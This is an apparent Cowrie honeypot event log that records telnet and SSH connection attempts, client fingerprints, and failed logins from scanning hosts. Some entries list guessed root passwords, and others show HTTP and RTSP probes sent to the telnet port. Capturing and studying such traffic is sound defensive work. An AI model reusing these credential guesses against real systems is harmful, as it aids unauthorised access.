{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51582,"dst_ip":"10.17.0.5","dst_port":23,"session":"2082c9796ca9","protocol":"telnet","message":"New connection: 152.42.224.71:51582 (10.17.0.5:23) [session: 2082c9796ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:51.106963Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51592,"dst_ip":"10.17.0.5","dst_port":23,"session":"249a18f48813","protocol":"telnet","message":"New connection: 152.42.224.71:51592 (10.17.0.5:23) [session: 249a18f48813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:51.919403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51598,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaef281c88a3","protocol":"telnet","message":"New connection: 152.42.224.71:51598 (10.17.0.5:23) [session: aaef281c88a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:53.520550Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07a64477933","protocol":"telnet","message":"New connection: 152.42.224.71:43736 (10.17.0.5:23) [session: b07a64477933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:57.168541Z"}
{"eventid":"cowrie.session.closed","duration":57.11607503890991,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:29:59.881960Z","src_ip":"152.42.224.71","session":"6371c4168e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":36046,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7d585a1e32","protocol":"ssh","message":"New connection: 43.134.32.136:36046 (159.203.135.109:22) [session: 5f7d585a1e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:00.502556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:00.507892Z","src_ip":"43.134.32.136","session":"5f7d585a1e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:00.744419Z","src_ip":"43.134.32.136","session":"5f7d585a1e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43746,"dst_ip":"10.17.0.5","dst_port":23,"session":"78fe36936156","protocol":"telnet","message":"New connection: 152.42.224.71:43746 (10.17.0.5:23) [session: 78fe36936156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:01.554037Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa111111","message":"login attempt [root/aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:01.721468Z","src_ip":"43.134.32.136","session":"5f7d585a1e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:02.961756Z","src_ip":"43.134.32.136","session":"5f7d585a1e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53322,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ce64a4f6d04","protocol":"telnet","message":"New connection: 152.42.224.71:53322 (10.17.0.5:23) [session: 4ce64a4f6d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:06.768030Z"}
{"eventid":"cowrie.session.closed","duration":47.42083549499512,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:09.766987Z","src_ip":"152.42.224.71","session":"0c1aeac35461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98c0c833010","protocol":"telnet","message":"New connection: 152.42.224.71:53328 (10.17.0.5:23) [session: e98c0c833010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:10.225957Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53338,"dst_ip":"10.17.0.5","dst_port":23,"session":"017d49d7ff0c","protocol":"telnet","message":"New connection: 152.42.224.71:53338 (10.17.0.5:23) [session: 017d49d7ff0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:11.343959Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53348,"dst_ip":"10.17.0.5","dst_port":23,"session":"59866e6f33c9","protocol":"telnet","message":"New connection: 152.42.224.71:53348 (10.17.0.5:23) [session: 59866e6f33c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:12.359467Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":55020,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e01384327b","protocol":"telnet","message":"New connection: 34.156.71.222:55020 (10.17.0.5:23) [session: f6e01384327b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:12.868251Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":55034,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f35b992bfb8","protocol":"telnet","message":"New connection: 34.156.71.222:55034 (10.17.0.5:23) [session: 2f35b992bfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:13.023965Z"}
{"eventid":"cowrie.session.closed","duration":0.006801128387451172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:13.030634Z","src_ip":"34.156.71.222","session":"2f35b992bfb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":55040,"dst_ip":"10.17.0.5","dst_port":23,"session":"029d010cb2fa","protocol":"telnet","message":"New connection: 34.156.71.222:55040 (10.17.0.5:23) [session: 029d010cb2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:13.182257Z"}
{"eventid":"cowrie.session.closed","duration":30.844274520874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:15.742905Z","src_ip":"152.42.224.71","session":"a9153e47e128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9674d56b50de","protocol":"ssh","message":"New connection: 193.37.70.224:53106 (10.17.0.5:22) [session: 9674d56b50de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:21.204966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:21.256907Z","src_ip":"193.37.70.224","session":"9674d56b50de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:21.393107Z","src_ip":"193.37.70.224","session":"9674d56b50de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!","message":"login attempt [root/1q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:21.736664Z","src_ip":"193.37.70.224","session":"9674d56b50de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42280,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e5e0a151db8","protocol":"telnet","message":"New connection: 34.156.71.222:42280 (10.17.0.5:23) [session: 3e5e0a151db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.341049Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.346788Z","src_ip":"34.156.71.222","session":"3e5e0a151db8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.351553Z","src_ip":"34.156.71.222","session":"3e5e0a151db8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09017443656921387,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.431111Z","src_ip":"34.156.71.222","session":"3e5e0a151db8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42286,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8eb1d460f3","protocol":"telnet","message":"New connection: 34.156.71.222:42286 (10.17.0.5:23) [session: 9e8eb1d460f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.506179Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42294,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1c8b257d487","protocol":"telnet","message":"New connection: 34.156.71.222:42294 (10.17.0.5:23) [session: f1c8b257d487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.661935Z"}
{"eventid":"cowrie.session.closed","duration":30.875587940216064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.794875Z","src_ip":"152.42.224.71","session":"249a18f48813","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42308,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8a726b0986","protocol":"telnet","message":"New connection: 34.156.71.222:42308 (10.17.0.5:23) [session: fa8a726b0986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.816783Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.829113Z","src_ip":"193.37.70.224","session":"9674d56b50de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42312,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a8797b76a6f","protocol":"telnet","message":"New connection: 34.156.71.222:42312 (10.17.0.5:23) [session: 0a8797b76a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:22.973807Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42326,"dst_ip":"10.17.0.5","dst_port":23,"session":"7798f7ab68ee","protocol":"telnet","message":"New connection: 34.156.71.222:42326 (10.17.0.5:23) [session: 7798f7ab68ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.128918Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42332,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf9099e4c44c","protocol":"telnet","message":"New connection: 34.156.71.222:42332 (10.17.0.5:23) [session: cf9099e4c44c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.283611Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42340,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c50b4a4acc","protocol":"telnet","message":"New connection: 34.156.71.222:42340 (10.17.0.5:23) [session: 33c50b4a4acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.438514Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e246a298f0b","protocol":"telnet","message":"New connection: 34.156.71.222:42346 (10.17.0.5:23) [session: 8e246a298f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.591841Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42358,"dst_ip":"10.17.0.5","dst_port":23,"session":"264ce329156a","protocol":"telnet","message":"New connection: 34.156.71.222:42358 (10.17.0.5:23) [session: 264ce329156a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.749398Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42364,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f70fcb96f8","protocol":"telnet","message":"New connection: 34.156.71.222:42364 (10.17.0.5:23) [session: 94f70fcb96f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:23.982669Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42372,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7c017e064c","protocol":"telnet","message":"New connection: 34.156.71.222:42372 (10.17.0.5:23) [session: 7b7c017e064c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.144567Z"}
{"eventid":"cowrie.session.closed","duration":0.0192873477935791,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.163695Z","src_ip":"34.156.71.222","session":"7b7c017e064c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42382,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e83ac98313e","protocol":"telnet","message":"New connection: 34.156.71.222:42382 (10.17.0.5:23) [session: 6e83ac98313e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.319021Z"}
{"eventid":"cowrie.session.closed","duration":0.006963491439819336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.325840Z","src_ip":"34.156.71.222","session":"6e83ac98313e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"7166671bfacb","protocol":"telnet","message":"New connection: 34.156.71.222:42390 (10.17.0.5:23) [session: 7166671bfacb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.482534Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42406,"dst_ip":"10.17.0.5","dst_port":23,"session":"782a45bd45c2","protocol":"telnet","message":"New connection: 34.156.71.222:42406 (10.17.0.5:23) [session: 782a45bd45c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.639621Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c154da5e134","protocol":"telnet","message":"New connection: 34.156.71.222:42416 (10.17.0.5:23) [session: 0c154da5e134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.794461Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42420,"dst_ip":"10.17.0.5","dst_port":23,"session":"9437c8000985","protocol":"telnet","message":"New connection: 34.156.71.222:42420 (10.17.0.5:23) [session: 9437c8000985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.949974Z"}
{"eventid":"cowrie.session.closed","duration":41.12270736694336,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:24.959672Z","src_ip":"152.42.224.71","session":"9c15f51729c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42428,"dst_ip":"10.17.0.5","dst_port":23,"session":"50900cbf6b57","protocol":"telnet","message":"New connection: 34.156.71.222:42428 (10.17.0.5:23) [session: 50900cbf6b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.106061Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42434,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c9250ff309","protocol":"telnet","message":"New connection: 34.156.71.222:42434 (10.17.0.5:23) [session: 25c9250ff309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.262252Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82ad3fabaae","protocol":"telnet","message":"New connection: 34.156.71.222:42438 (10.17.0.5:23) [session: e82ad3fabaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.427261Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab30d8c4bb1","protocol":"telnet","message":"New connection: 34.156.71.222:42442 (10.17.0.5:23) [session: 2ab30d8c4bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.586602Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.592434Z","src_ip":"34.156.71.222","session":"2ab30d8c4bb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42450,"dst_ip":"10.17.0.5","dst_port":23,"session":"2928a5791c01","protocol":"telnet","message":"New connection: 34.156.71.222:42450 (10.17.0.5:23) [session: 2928a5791c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.749246Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42460,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f7969f97b7","protocol":"telnet","message":"New connection: 34.156.71.222:42460 (10.17.0.5:23) [session: 64f7969f97b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:25.906389Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42476,"dst_ip":"10.17.0.5","dst_port":23,"session":"1729a8cbb027","protocol":"telnet","message":"New connection: 34.156.71.222:42476 (10.17.0.5:23) [session: 1729a8cbb027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.061451Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42490,"dst_ip":"10.17.0.5","dst_port":23,"session":"af74790ae2fa","protocol":"telnet","message":"New connection: 34.156.71.222:42490 (10.17.0.5:23) [session: af74790ae2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.215890Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42494,"dst_ip":"10.17.0.5","dst_port":23,"session":"16bc48706c75","protocol":"telnet","message":"New connection: 34.156.71.222:42494 (10.17.0.5:23) [session: 16bc48706c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.370676Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42508,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c5d1c931da","protocol":"telnet","message":"New connection: 34.156.71.222:42508 (10.17.0.5:23) [session: 33c5d1c931da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.525075Z"}
{"eventid":"cowrie.session.closed","duration":0.005762338638305664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.530686Z","src_ip":"34.156.71.222","session":"33c5d1c931da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42520,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7f25c490a0","protocol":"telnet","message":"New connection: 34.156.71.222:42520 (10.17.0.5:23) [session: 6c7f25c490a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.680716Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42530,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d65cff88fe","protocol":"telnet","message":"New connection: 34.156.71.222:42530 (10.17.0.5:23) [session: 87d65cff88fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.836072Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3289","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.841956Z","src_ip":"34.156.71.222","session":"87d65cff88fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.71.222","src_port":42534,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1a18fd84023","protocol":"telnet","message":"New connection: 34.156.71.222:42534 (10.17.0.5:23) [session: e1a18fd84023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:26.998434Z"}
{"eventid":"cowrie.session.closed","duration":0.006406068801879883,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.004694Z","src_ip":"34.156.71.222","session":"e1a18fd84023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.760395288467407,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:30:27.942522Z","src_ip":"34.156.71.222","session":"029d010cb2fa","protocol":"telnet"}
